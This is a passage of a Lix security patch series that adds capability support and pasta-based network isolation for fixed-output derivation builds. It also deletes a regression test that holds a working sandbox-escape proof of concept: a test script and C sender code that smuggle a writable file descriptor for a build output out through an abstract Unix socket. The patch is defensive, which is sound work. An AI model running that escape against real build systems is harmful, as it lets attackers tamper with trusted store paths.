01c42b9fc..3311b8fb8 100644 +--- a/lix/libutil/processes.hh ++++ b/lix/libutil/processes.hh +@@ -76,6 +76,11 @@ std::string runProgram(Path program, bool searchPath = false, + + struct RunOptions + { ++ struct Redirection ++ { ++ int from, to; ++ }; ++ + Path program; + bool searchPath = true; + Strings args = {}; +@@ -84,8 +89,8 @@ struct RunOptions + std::optional chdir = {}; + std::optional> environment = {}; + bool captureStdout = false; +- bool mergeStderrToStdout = false; + bool isInteractive = false; ++ std::vector redirections; + }; + + struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram +-- +2.49.0 + + +From 582f775ac358f9da682f707a3f58f228f7fdaed8 Mon Sep 17 00:00:00 2001 +From: eldritch horrors +Date: Fri, 28 Mar 2025 23:16:01 +0100 +Subject: [SECURITY FIX 09/12] libutil: add capability support to runProgram2 + +launching pasta to not run as root will ambient require capabilities. + +Change-Id: I1dd2506a1fa3944a9d9062123ef8a74903c597ea +--- + lix/libutil/processes.cc | 47 ++++++++++++++++++++++++++++++++++++++++ + lix/libutil/processes.hh | 3 +++ + 2 files changed, 50 insertions(+) + +diff --git a/lix/libutil/processes.cc b/lix/libutil/processes.cc +index 0dcd96ba9..2f214e552 100644 +--- a/lix/libutil/processes.cc ++++ b/lix/libutil/processes.cc +@@ -22,6 +22,7 @@ + #endif + + #ifdef __linux__ ++# include + # include + # include + #endif +@@ -338,6 +339,13 @@ RunningProgram runProgram2(const RunOptions & options) + + if (options.chdir && chdir((*options.chdir).c_str()) == -1) + throw SysError("chdir failed"); ++ ++#if __linux__ ++ if (!options.caps.empty() && prctl(PR_SET_KEEPCAPS, 1) < 0) { ++ throw SysError("setting keep-caps failed"); ++ } ++#endif ++ + if (options.gid && setgid(*options.gid) == -1) + throw SysError("setgid failed"); + /* Drop all other groups if we're setgid. */ +@@ -346,6 +354,45 @@ RunningProgram runProgram2(const RunOptions & options) + if (options.uid && setuid(*options.uid) == -1) + throw SysError("setuid failed"); + ++#if __linux__ ++ if (!options.caps.empty()) { ++ if (prctl(PR_SET_KEEPCAPS, 0)) { ++ throw SysError("clearing keep-caps failed"); ++ } ++ ++ // we do the capability dance like this to avoid a dependency ++ // on libcap, which has a rather large build closure and many ++ // more features that we need for now. maybe some other time. ++ static constexpr uint32_t LINUX_CAPABILITY_VERSION_3 = 0x20080522; ++ static constexpr uint32_t LINUX_CAPABILITY_U32S_3 = 2; ++ struct user_cap_header_struct ++ { ++ uint32_t version; ++ int pid; ++ } hdr = {LINUX_CAPABILITY_VERSION_3, 0}; ++ struct user_cap_data_struct ++ { ++ uint32_t effective; ++ uint32_t permitted; ++ uint32_t inheritable; ++ } data[LINUX_CAPABILITY_U32S_3] = {}; ++ for (auto cap : options.caps) { ++ assert(cap / 32 < LINUX_CAPABILITY_U32S_3); ++ data[cap / 32].permitted |= 1 << (cap % 32); ++ data[cap / 32].inheritable |= 1 << (cap % 32); ++ } ++ if (syscall(SYS_capset, &hdr, data)) { ++ throw SysError("couldn't set capabilities"); ++ } ++ ++ for (auto cap : options.caps) { ++ if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0) < 0) { ++ throw SysError("couldn't set ambient caps"); ++ } ++ } ++ } ++#endif ++ + Strings args_(options.args); + args_.push_front(options.program); + +diff --git a/lix/libutil/processes.hh b/lix/libutil/processes.hh +index 3311b8fb8..6ca7f3bdf 100644 +--- a/lix/libutil/processes.hh ++++ b/lix/libutil/processes.hh +@@ -91,6 +91,9 @@ struct RunOptions + bool captureStdout = false; + bool isInteractive = false; + std::vector redirections; ++#if __linux__ ++ std::set caps; ++#endif + }; + + struct [[nodiscard("you must call RunningProgram::wait()")]] RunningProgram +-- +2.49.0 + + +From 6a61eea281de2c4d7d2b4f375511db0dacfec5ec Mon Sep 17 00:00:00 2001 +From: eldritch horrors +Date: Fri, 28 Mar 2025 23:04:56 +0100 +Subject: [SECURITY FIX 10/12] libstore: use pasta for FODs if available + +This allows using a userspace program, pasta, to handle comms between +the build sandbox, and the outside world; allowing for full isolation +including the network namespace, closing the "fixed-output derivation +talks to the host over an abstract domain socket" hole for good. + +Co-Authored-By: Puck Meerburg +Change-Id: Ifd499b7dbb3784600a6e842fede65fc031ff9f15 +--- + doc/manual/rl-next/pasta.md | 20 +++ + lix/libstore/build/local-derivation-goal.cc | 40 +++++- + lix/libstore/build/local-derivation-goal.hh | 15 +++ + lix/libstore/globals.cc | 3 + + lix/libstore/meson.build | 7 ++ + lix/libstore/platform/linux.cc | 133 +++++++++++++++++++- + lix/libstore/platform/linux.hh | 18 +++ + lix/libstore/settings/pasta-path.md | 10 ++ + meson.build | 7 ++ + meson.options | 4 + + misc/passt.nix | 64 ++++++++++ + package.nix | 6 + + tests/nixos/ca-fd-leak/default.nix | 90 ------------- + tests/nixos/ca-fd-leak/sender.c | 65 ---------- + tests/nixos/ca-fd-leak/smuggler.c | 66 ---------- + tests/nixos/default.nix | 2 - + tests/nixos/fetchurl.nix | 2 +- + 17 files changed, 323 insertions(+), 229 deletions(-) + create mode 100644 doc/manual/rl-next/pasta.md + create mode 100644 lix/libstore/settings/pasta-path.md + create mode 100644 misc/passt.nix + delete mode 100644 tests/nixos/ca-fd-leak/default.nix + delete mode 100644 tests/nixos/ca-fd-leak/sender.c + delete mode 100644 tests/nixos/ca-fd-leak/smuggler.c + +diff --git a/doc/manual/rl-next/pasta.md b/doc/manual/rl-next/pasta.md +new file mode 100644 +index 000000000..a7b7aa952 +--- /dev/null ++++ b/doc/manual/rl-next/pasta.md +@@ -0,0 +1,20 @@ ++--- ++synopsis: "Fixed output derivations can be run using `pasta` network isolation" ++cls: [] ++issues: [fj#285] ++category: "Breaking Changes" ++credits: [horrors, puck] ++--- ++ ++Fixed output derivations traditionally run in the host network namespace. ++On Linux this allows such derivations to communicate with other sandboxes ++or the host using the abstract Unix domains socket namespace; this hasn't ++been unproblematic in the past and has been used in two distinct exploits ++to break out of the sandbox. For this reason fixed output derivations can ++now run in a network namespace (provided by [`pasta`]), restricted to TCP ++and UDP communication with the rest of the world. When enabled this could ++be a breaking change and we classify it as such, even though we don't yet ++enable or require such isolation by default. We may enforce this in later ++releases of Lix once we have sufficient confidence that breakage is rare. ++ ++[`pasta`]: https://passt.top/ +diff --git a/lix/libstore/build/local-derivation-goal.cc b/lix/libstore/build/local-derivation-goal.cc +index c33bd8283..7ccb0ad33 100644 +--- a/lix/libstore/build/local-derivation-goal.cc ++++ b/lix/libstore/build/local-derivation-goal.cc +@@ -13,6 +13,8 @@ + #include "lix/libutil/archive.hh" + #include "lix/libstore/daemon.hh" + #include "lix/libutil/regex.hh" ++#include "lix/libutil/file-descriptor.hh" ++#include "lix/libutil/file-system.hh" + #include "lix/libutil/result.hh" + #include "lix/libutil/topo-sort.hh" + #include "lix/libutil/json.hh" +@@ -24,6 +26,7 @@ + #include "lix/libutil/mount.hh" + #include "lix/libutil/strings.hh" + #include "lix/libutil/thread-name.hh" ++#include "platform/linux.hh" + + #include + #include +@@ -1073,7 +1076,7 @@ void LocalDerivationGoal::runChild() + /* N.B. it is realistic that these paths might not exist. It + happens when testing Nix building fixed-output derivations + within a pure derivation. */ +- for (auto & path : { "/etc/resolv.conf", "/etc/services", "/etc/hosts" }) ++ for (auto & path : { "/etc/services", "/etc/hosts" }) + if (pathExists(path)) { + // Copy the actual file, not the symlink, because we don't know where + // the symlink is pointing, and we don't want to chase down the entire +@@ -1094,6 +1097,11 @@ void LocalDerivationGoal::runChild() + copyFile(path, chrootRootDir + path, { .followSymlinks = true }); + } + ++ if (pathExists("/etc/resolv.conf")) { ++ const auto resolvConf = rewriteResolvConf(readFile("/etc/resolv.conf")); ++ writeFile(chrootRootDir + "/etc/resolv.conf", resolvConf); ++ } ++ + if (settings.caFile != "" && pathExists(settings.caFile)) { + // For the same reasons as above, copy the CA certificates file too. + // It should be even less likely to change during the build than resolv.conf. +@@ -1221,6 +1229,36 @@ void LocalDerivationGoal::runChild() + if (setuid(sandboxUid()) == -1) + throw SysError("setuid failed"); + ++ if (runPasta) { ++ // wait for the pasta interface to appear. pasta can't signal us when ++ // it's done setting up the namespace, so we have to wait for a while ++ AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP)); ++ if (!fd) throw SysError("cannot open IP socket"); ++ ++ struct ifreq ifr; ++ strcpy(ifr.ifr_name, LinuxLocalDerivationGoal::PASTA_NS_IFNAME); ++ // wait two minutes for the interface to appear. if it does not do so ++ // we are either grossly overloaded, or pasta startup failed somehow. ++ static constexpr int SINGLE_WAIT_US = 1000; ++ static constexpr int TOTAL_WAIT_US = 120'000'000; ++ for (unsigned tries = 0; ; tries++) { ++ if (tries > TOTAL_WAIT_US / SINGLE_WAIT_US) { ++ throw Error( ++ "sandbox network setup timed out, please check daemon logs for " ++ "possible error output." ++ ); ++ } else if (ioctl(fd.get(), SIOCGIFFLAGS, &ifr) == 0) { ++ if ((ifr.ifr_ifru.ifru_flags & IFF_UP) != 0) { ++ break; ++ } ++ } else if (errno == ENODEV) { ++ usleep(SINGLE_WAIT_US); ++ } else { ++ throw SysError("cannot get loopback interface flags"); ++ } ++ } ++ } ++ + setUser = false; + } + #endif +diff --git a/lix/libstore/build/local-derivation-goal.hh b/lix/libstore/build/local-derivation-goal.hh +index eb2fe50f3..a0031e141 100644 +--- a/lix/libstore/build/local-derivation-goal.hh ++++ b/lix/libstore/build/local-derivation-goal.hh +@@ -285,6 +285,12 @@ struct LocalDerivationGoal : public DerivationGoal + protected: + using DerivationGoal::DerivationGoal; + ++ /** ++ * Whether to run pasta for network-endowed derivations. Running pasta ++ * currently requires actively waiting for its net-ns setup to finish. ++ */ ++ bool runPasta = false; ++ + /** + * Setup dependencies outside the sandbox. + * Called in the parent nix process. +@@ -294,6 +300,15 @@ protected: + throw Error("sandboxing builds is not supported on this platform"); + }; + ++ /** ++ * Rewrite resolv.conf for use in the sandbox. Used in the linux platform ++ * to replace nameservers * when using pasta for fixed output derivations. ++ */ ++ virtual std::string rewriteResolvConf(std::string fromHost) ++ { ++ return fromHost; ++ } ++ + /** + * Create a new process that runs `openSlave` and `runChild` + * On some platforms this process is created with sandboxing flags. +diff --git a/lix/libstore/globals.cc b/lix/libstore/globals.cc +index b4328b068..7fc4c6a21 100644 +--- a/lix/libstore/globals.cc ++++ b/lix/libstore/globals.cc +@@ -87,6 +87,9 @@ Settings::Settings() + #if defined(__linux__) && defined(SANDBOX_SHELL) + sandboxPaths.setDefault(tokenizeString("/bin/sh=" SANDBOX_SHELL)); + #endif ++#if defined(__linux__) && defined(PASTA_PATH) ++ pastaPath.setDefault(PASTA_PATH); ++#endif + + /* chroot-like behavior from Apple's sandbox */ + #if __APPLE__ +diff --git a/lix/libstore/meson.build b/lix/libstore/meson.build +index e59ae01b5..628ec1e55 100644 +--- a/lix/libstore/meson.build ++++ b/lix/libstore/meson.build +@@ -82,6 +82,7 @@ libstore_setting_definitions = files( + 'settings/narinfo-cache-negative-ttl.md', + 'settings/narinfo-cache-positive-ttl.md', + 'settings/netrc-file.md', ++ 'settings/pasta-path.md', + 'settings/plugin-files.md', + 'settings/post-build-hook.md', + 'settings/pre-build-hook.md', +@@ -326,6 +327,12 @@ elif busybox.found() + } + endif + ++if pasta.found() ++ cpp_str_defines += { ++ 'PASTA_PATH': pasta.full_path(), ++ } ++endif ++ + cpp_args = [] + + foreach name, value : cpp_str_defines +diff --git a/lix/libstore/platform/linux.cc b/lix/libstore/platform/linux.cc +index f8b721475..722135081 100644 +--- a/lix/libstore/platform/linux.cc ++++ b/lix/libstore/platform/linux.cc +@@ -1,16 +1,25 @@ + #include "lix/libstore/build/worker.hh" + #include "lix/libutil/cgroup.hh" ++#include "lix/libutil/file-descriptor.hh" ++#include "lix/libutil/file-system.hh" + #include "lix/libutil/finally.hh" + #include "lix/libstore/gc-store.hh" ++#include "lix/libutil/processes.hh" + #include "lix/libutil/signals.hh" + #include "lix/libstore/platform/linux.hh" + #include "lix/libutil/regex.hh" + #include "lix/libutil/strings.hh" + ++#include ++#include + #include + #include + #include + ++#if __linux__ ++#include ++#endif ++ + #if HAVE_SECCOMP + #include + #include +@@ -61,6 +70,14 @@ static void readFileRoots(const char * path, UncheckedRoots & roots) + } + } + ++LinuxLocalDerivationGoal::~LinuxLocalDerivationGoal() ++{ ++ // pasta being left around mostly happens when builds are aborted ++ if (pastaPid) { ++ pastaPid.kill(); ++ } ++} ++ + void LinuxLocalStore::findPlatformRoots(UncheckedRoots & unchecked) + { + auto procDir = AutoCloseDir{opendir("/proc")}; +@@ -859,6 +876,26 @@ void LinuxLocalDerivationGoal::prepareSandbox() + } + } + ++std::string LinuxLocalDerivationGoal::rewriteResolvConf(std::string fromHost) ++{ ++ if (!runPasta) { ++ return fromHost; ++ } ++ ++ static constexpr auto flags = std::regex::ECMAScript | std::regex::multiline; ++ static auto lineRegex = regex::parse("^nameserver\\s.*$", flags); ++ static auto v4Regex = regex::parse("^nameserver\\s+\\d{1,3}\\.", flags); ++ static auto v6Regex = regex::parse("^nameserver.*:", flags); ++ std::string nsInSandbox = "\n"; ++ if (std::regex_search(fromHost, v4Regex)) { ++ nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV4); ++ } ++ if (std::regex_search(fromHost, v6Regex)) { ++ nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV6); ++ } ++ return std::regex_replace(fromHost, lineRegex, "") + nsInSandbox; ++} ++ + Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) + { + #if HAVE_SECCOMP +@@ -886,9 +923,11 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) + + - The private network namespace ensures that the builder + cannot talk to the outside world (or vice versa). It +- only has a private loopback interface. (Fixed-output +- derivations are not run in a private network namespace +- to allow functions like fetchurl to work.) ++ only has a private loopback interface. If a copy of ++ `pasta` is available, Fixed-output derivations are run ++ inside a private network namespace with internet ++ access, otherwise they are run in the host's network ++ namespace, to allow functions like fetchurl to work. + + - The IPC namespace prevents the builder from communicating + with outside processes using SysV IPC mechanisms (shared +@@ -909,6 +948,10 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) + if (derivationType->isSandboxed()) + privateNetwork = true; + ++ // don't launch pasta unless we have a tun device. in a build sandbox we ++ // commonly do not, and trying to run pasta anyway naturally won't work. ++ runPasta = !privateNetwork && settings.pastaPath != "" && pathExists("/dev/net/tun"); ++ + userNamespaceSync.create(); + + Pipe sendPid; +@@ -933,7 +976,9 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) + + ProcessOptions options; + options.cloneFlags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLONE_PARENT | SIGCHLD; +- if (privateNetwork) ++ // we always want to create a new network namespace for pasta, even when ++ // we can't actually run it. not doing so hides bugs and impairs purity. ++ if (settings.pastaPath != "" || privateNetwork) + options.cloneFlags |= CLONE_NEWNET; + if (usingUserNamespace) + options.cloneFlags |= CLONE_NEWUSER; +@@ -1004,6 +1049,67 @@ Pid LinuxLocalDerivationGoal::startChild(std::function openSlave) + /* Signal the builder that we've updated its user namespace. */ + writeFull(userNamespaceSync.writeSide.get(), "1"); + ++ if (runPasta) { ++ // Bring up pasta, for handling FOD networking. We don't let it daemonize ++ // itself for process managements reasons and kill it manually when done. ++ ++ // TODO add a new sandbox mode flag to disable all or parts of this? ++ Strings args = { ++ // clang-format off ++ "--quiet", ++ "--foreground", ++ "--config-net", ++ "--gateway", PASTA_HOST_IPV4, ++ "--address", PASTA_CHILD_IPV4, "--netmask", PASTA_IPV4_NETMASK, ++ "--dns-forward", PASTA_HOST_IPV4, ++ "--gateway", PASTA_HOST_IPV6, ++ "--address", PASTA_CHILD_IPV6, ++ "--dns-forward", PASTA_HOST_IPV6, ++ "--ns-ifname", PASTA_NS_IFNAME, ++ "--no-netns-quit", ++ "--netns", "/proc/self/fd/0", ++ // clang-format on ++ }; ++ ++ AutoCloseFD netns(open(fmt("/proc/%i/ns/net", pid.get()).c_str(), O_RDONLY | O_CLOEXEC)); ++ if (!netns) { ++ throw SysError("failed to open netns"); ++ } ++ ++ AutoCloseFD userns; ++ if (usingUserNamespace) { ++ userns = ++ AutoCloseFD(open(fmt("/proc/%i/ns/user", pid.get()).c_str(), O_RDONLY | O_CLOEXEC)); ++ if (!userns) { ++ throw SysError("failed to open userns"); ++ } ++ args.push_back("--userns"); ++ args.push_back("/proc/self/fd/1"); ++ } ++ ++ // FIXME ideally we want a notification when pasta exits, but we cannot do ++ // this at present. without such support we need to busy-wait for pasta to ++ // set up the namespace completely and time out after a while for the case ++ // of pasta launch failures. pasta logs go to syslog only for now as well. ++ pastaPid = runProgram2({ ++ .program = settings.pastaPath, ++ .args = args, ++ .uid = useBuildUsers() ? std::optional(buildUser->getUID()) : std::nullopt, ++ .gid = useBuildUsers() ? std::optional(buildUser->getGID()) : std::nullopt, ++ // TODO these redirections are crimes. pasta closes all non-stdio file ++ // descriptors very early and lacks fd arguments for the namespaces we ++ // want it to join. we cannot have pasta join the namespaces via pids; ++ // doing so requires capabilities which pasta *also* drops very early. ++ .redirections = { ++ {.from = 0, .to = netns.get()}, ++ {.from = 1, .to = userns ? userns.get() : 1}, ++ }, ++ .caps = getuid() == 0 ++ ? std::set{CAP_SYS_ADMIN, CAP_NET_BIND_SERVICE} ++ : std::set{}, ++ }); ++ } ++ + return pid; + } + +@@ -1050,5 +1156,24 @@ void LinuxLocalDerivationGoal::killSandbox(bool getStats) + This avoids processes unrelated to the build being killed, thus avoiding: https://git.lix.systems/lix-project/lix/issues/667 */ + LocalDerivationGoal::killSandbox(getStats); + } ++ ++ if (pastaPid) { ++ // FIXME we really want to send SIGTERM instead and wait for pasta to exit, ++ // but we do not have the infra for that right now. we send SIGKILL instead ++ // and treat exiting with that as a successful exit code until such a time. ++ // this is not likely to cause problems since pasta runs as the build user, ++ // but not inside the build sandbox. if it's killed it's either due to some ++ // external influence (in which case the sandboxed child will probably fail ++ // due to network errors, if it used the network at all) or some bug in lix ++ if (auto status = pastaPid.kill(); !WIFSIGNALED(status) || WTERMSIG(status) != SIGKILL) { ++ if (WIFSIGNALED(status)) { ++ throw Error("pasta killed by signal %i", WTERMSIG(status)); ++ } else if (WIFEXITED(status)) { ++ throw Error("pasta exited with code %i", WEXITSTATUS(status)); ++ } else { ++ throw Error("pasta exited with status %i", status); ++ } ++ } ++ } + } + } +diff --git a/lix/libstore/platform/linux.hh b/lix/libstore/platform/linux.hh +index 9dba7f1de..47e33f240 100644 +--- a/lix/libstore/platform/linux.hh ++++ b/lix/libstore/platform/linux.hh +@@ -4,6 +4,7 @@ + #include "lix/libstore/build/local-derivation-goal.hh" + #include "lix/libstore/gc-store.hh" + #include "lix/libstore/local-store.hh" ++#include "lix/libutil/processes.hh" + + namespace nix { + +@@ -33,6 +34,20 @@ class LinuxLocalDerivationGoal : public LocalDerivationGoal + public: + using LocalDerivationGoal::LocalDerivationGoal; + ++ ~LinuxLocalDerivationGoal(); ++ ++ // NOTE these are all C strings because macos doesn't have constexpr std::string ++ // constructors, and std::string_view is a pain to turn into std::strings again. ++ static constexpr const char * PASTA_NS_IFNAME = "eth0"; ++ static constexpr const char * PASTA_HOST_IPV4 = "169.254.1.1"; ++ static constexpr const char * PASTA_CHILD_IPV4 = "169.254.1.2"; ++ static constexpr const char * PASTA_IPV4_NETMASK = "16"; ++ // randomly chosen 6to4 prefix, mapping the same ipv4ll as above. ++ // even if this id is used on the daemon host there should not be ++ // any collisions since ipv4ll should never be addressed by ipv6. ++ static constexpr const char * PASTA_HOST_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0101"; ++ static constexpr const char * PASTA_CHILD_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0102"; ++ + private: + /* + * Destroy the cgroup otherwise another build +@@ -41,6 +56,8 @@ private: + */ + void cleanupHookFinally() override; + ++ RunningProgram pastaPid; ++ + /** + * Create and populate chroot + */ +@@ -68,6 +85,7 @@ private: + return true; + } + ++ std::string rewriteResolvConf(std::string fromHost) override; + }; + + } +diff --git a/lix/libstore/settings/pasta-path.md b/lix/libstore/settings/pasta-path.md +new file mode 100644 +index 000000000..1df3600df +--- /dev/null ++++ b/lix/libstore/settings/pasta-path.md +@@ -0,0 +1,10 @@ ++--- ++name: pasta-path ++internalName: pastaPath ++type: Path ++default: "" ++--- ++If set to an absolute path, enables fully sandboxing fixed-output ++derivations, by using `pasta` to pass network traffic between the ++private network namespace. This allows for greater levels of isolation ++of builds to the host. +diff --git a/meson.build b/meson.build +index 92b4c05ec..adcea1142 100644 +--- a/meson.build ++++ b/meson.build +@@ -452,6 +452,13 @@ configdata += { + 'HAVE_DTRACE': dtrace_feature.enabled().to_int(), + } + ++pasta_path = get_option('pasta-path') ++# we can't check the pasta version because passt misuses stdio (it calls _exit() ++# after printing the version, which will never print the version unless run from ++# a terminal). pasta isn't mandatory yet due to high fetcher breakage potential. ++# we *will* enable it in our own packaging, but distributions are not forced to. ++pasta = find_program(pasta_path, required : false, native : false) ++ + lsof = find_program('lsof', native : true) + + # This is how Nix does generated headers... +diff --git a/meson.options b/meson.options +index 8d5eed0bc..50caa32c4 100644 +--- a/meson.options ++++ b/meson.options +@@ -24,6 +24,10 @@ option('sandbox-shell', type : 'string', value : 'busybox', + description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)', + ) + ++option('pasta-path', type : 'string', value : 'pasta', ++ description : 'path to the location of pasta (provided by passt)', ++) ++ + option('enable-tests', type : 'boolean', value : true, + description : 'whether to enable tests or not (requires rapidcheck and gtest)', + ) +diff --git a/misc/passt.nix b/misc/passt.nix +new file mode 100644 +index 000000000..3c0c633fa +--- /dev/null ++++ b/misc/passt.nix +@@ -0,0 +1,64 @@ ++{ ++ lib, ++ stdenv, ++ buildPackages, ++ fetchurl, ++ getconf, ++ gitUpdater, ++ testers, ++}: ++ ++stdenv.mkDerivation (finalAttrs: { ++ pname = "passt"; ++ version = "2025_02_17.a1e48a0"; ++ ++ src = fetchurl { ++ url = "https://passt.top/passt/snapshot/passt-${finalAttrs.version}.tar.gz"; ++ hash = "sha256-/FUXxeYv3Lb0DiXmbS2PUzfLL5ZwHJ42tiuH7YnlljE="; ++ }; ++ ++ postPatch = '' ++ substituteInPlace Makefile --replace-fail \ ++ 'PAGE_SIZE=$(shell getconf PAGE_SIZE)' \ ++ "PAGE_SIZE=$(${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe getconf} PAGE_SIZE)" ++ ''; ++ ++ makeFlags = [ ++ "prefix=${placeholder "out"}" ++ "VERSION=${finalAttrs.version}" ++ ]; ++ ++ passthru = { ++ tests.version = testers.testVersion { ++ package = finalAttrs.finalPackage; ++ }; ++ ++ updateScript = gitUpdater { ++ url = "https://passt.top/passt"; ++ }; ++ }; ++ ++ meta = with lib; { ++ homepage = "https://passt.top/passt/about/"; ++ description = "Plug A Simple Socket Transport"; ++ longDescription = '' ++ passt implements a translation layer between a Layer-2 network interface ++ and native Layer-4 sockets (TCP, UDP, ICMP/ICMPv6 echo) on a host. ++ It doesn't require any capabilities or privileges, and it can be used as ++ a simple replacement for Slirp. ++ ++ pasta (same binary as passt, different command) offers equivalent ++ functionality, for network namespaces: traffic is forwarded using a tap ++ interface inside the namespace, without the need to create further ++ interfaces on the host, hence not requiring any capabilities or ++ privileges. ++ ''; ++ license = [ ++ licenses.bsd3 # and ++ licenses.gpl2Plus ++ ]; ++ platforms = platforms.linux; ++ maintainers = with maintainers; [ _8aed ]; ++ mainProgram = "passt"; ++ }; ++}) +diff --git a/package.nix b/package.nix +index 3a2e08c8c..f1fd1b1f9 100644 +--- a/package.nix ++++ b/package.nix +@@ -45,6 +45,8 @@ + ninja, + ncurses, + openssl, ++ # FIXME: we need passt 2024_12_11.09478d5 or newer, i.e. nixos 25.05 or later ++ passt-lix ? __forDefaults.passt-lix, + pegtl, + pkg-config, + python3, +@@ -116,6 +118,8 @@ + # needs derivation patching to add debuginfo and coroutine library support + # !! must build this with clang as it is affected by the gcc coroutine bugs + capnproto-lix = callPackage ./misc/capnproto.nix { inherit stdenv; }; ++ ++ passt-lix = callPackage ./misc/passt.nix { }; + }, + }: + +@@ -249,6 +253,7 @@ stdenv.mkDerivation (finalAttrs: { + # which don't actually get added to PATH. And buildInputs is correct over + # nativeBuildInputs since this should be a busybox executable on the host. + "-Dsandbox-shell=${lib.getExe' busybox-sandbox-shell "busybox"}" ++ "-Dpasta-path=${lib.getExe' passt-lix "pasta"}" + ] + ++ lib.optional hostPlatform.isStatic "-Denable-embedded-sandbox-shell=true" + ++ lib.optional (finalAttrs.dontBuild && !lintInsteadOfBuild) "-Denable-build=false" +@@ -334,6 +339,7 @@ stdenv.mkDerivation (finalAttrs: { + ++ lib.optionals hostPlatform.isLinux [ + libseccomp + busybox-sandbox-shell ++ passt-lix + ] + ++ lib.optionals ( + stdenv.hostPlatform.isDarwin && lib.versionOlder stdenv.hostPlatform.darwinSdkVersion "11.0" +diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix +deleted file mode 100644 +index a6ae72adc..000000000 +--- a/tests/nixos/ca-fd-leak/default.nix ++++ /dev/null +@@ -1,90 +0,0 @@ +-# Nix is a sandboxed build system. But Not everything can be handled inside its +-# sandbox: Network access is normally blocked off, but to download sources, a +-# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". +-# The detail here is not important, but in our case it means that the hash of +-# the output has to be known beforehand. And if you know that, you get a few +-# rights: you no longer run inside a special network namespace! +-# +-# Now, Linux has a special feature, that not many other unices do: Abstract +-# unix domain sockets! Not only that, but those are namespaced using the +-# network namespace! That means that we have a way to create sockets that are +-# available in every single fixed-output derivation, and also all processes +-# running on the host machine! Now, this wouldn't be that much of an issue, as, +-# well, the whole idea is that the output is pure, and all processes in the +-# sandbox are killed before finalizing the output. What if we didn't need those +-# processes at all? Unix domain sockets have a semi-known trick: you can pass +-# file descriptors around! +-# This makes it possible to exfiltrate a file-descriptor with write access to +-# $out outside of the sandbox. And that file-descriptor can be used to modify +-# the contents of the store path after it has been registered. +- +-{ config, ... }: +- +-let +- pkgs = config.nodes.machine.nixpkgs.pkgs; +- +- # Simple C program that sends a a file descriptor to `$out` to a Unix +- # domain socket. +- # Compiled statically so that we can easily send it to the VM and use it +- # inside the build sandbox. +- sender = pkgs.runCommandWith { +- name = "sender"; +- stdenv = pkgs.pkgsStatic.stdenv; +- } '' +- $CC -static -o $out ${./sender.c} +- ''; +- +- # Okay, so we have a file descriptor shipped out of the FOD now. But the +- # Nix store is read-only, right? .. Well, yeah. But this file descriptor +- # lives in a mount namespace where it is not! So even when this file exists +- # in the actual Nix store, we're capable of just modifying its contents... +- smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); +- +- # The abstract socket path used to exfiltrate the file descriptor +- socketName = "FODSandboxExfiltrationSocket"; +-in +-{ +- name = "ca-fd-leak"; +- +- nodes.machine = +- { config, lib, pkgs, ... }: +- { virtualisation.writableStore = true; +- nix.settings.substituters = lib.mkForce [ ]; +- virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; +- }; +- +- testScript = { nodes }: '' +- start_all() +- +- machine.succeed("echo hello") +- # Start the smuggler server +- machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") +- +- # Build the smuggled derivation. +- # This will connect to the smuggler server and send it the file descriptor +- machine.succeed(r""" +- nix-build -E ' +- builtins.derivation { +- name = "smuggled"; +- system = builtins.currentSystem; +- # look ma, no tricks! +- outputHashMode = "flat"; +- outputHashAlgo = "sha256"; +- outputHash = builtins.hashString "sha256" "hello, world\n"; +- builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; +- args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; +- }' +- """.strip()) +- +- +- # Tell the smuggler server that we're done +- machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") +- +- # Check that the file was not modified +- machine.succeed(r""" +- cat ./result +- test "$(cat ./result)" = "hello, world" +- """.strip()) +- ''; +- +-} +diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c +deleted file mode 100644 +index 75e54fc8f..000000000 +--- a/tests/nixos/ca-fd-leak/sender.c ++++ /dev/null +@@ -1,65 +0,0 @@ +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +-#include +- +-int main(int argc, char **argv) { +- +- assert(argc == 2); +- +- int sock = socket(AF_UNIX, SOCK_STREAM, 0); +- +- // Set up a abstract domain socket path to connect to. +- struct sockaddr_un data; +- data.sun_family = AF_UNIX; +- data.sun_path[0] = 0; +- strcpy(data.sun_path + 1, argv[1]); +- +- // Now try to connect, To ensure we work no matter what order we are +- // executed in, just busyloop here. +- int res = -1; +- while (res < 0) { +- res = connect(sock, (const struct sockaddr *)&data, +- offsetof(struct sockaddr_un, sun_path) +- + strlen(argv[1]) +- + 1); +- if (res < 0 && errno != ECONNREFUSED) perror("connect"); +- if (errno != ECONNREFUSED) break; +- } +- +- // Write our message header. +- struct msghdr msg = {0}; +- msg.msg_control = malloc(128); +- msg.msg_controllen = 128; +- +- // Write an SCM_RIGHTS message containing the output path. +- struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); +- hdr->cmsg_len = CMSG_LEN(sizeof(int)); +- hdr->cmsg_level = SOL_SOCKET; +- hdr->cmsg_type = SCM_RIGHTS; +- int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); +- memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); +- +- msg.msg_controllen = CMSG_SPACE(sizeof(int)); +- 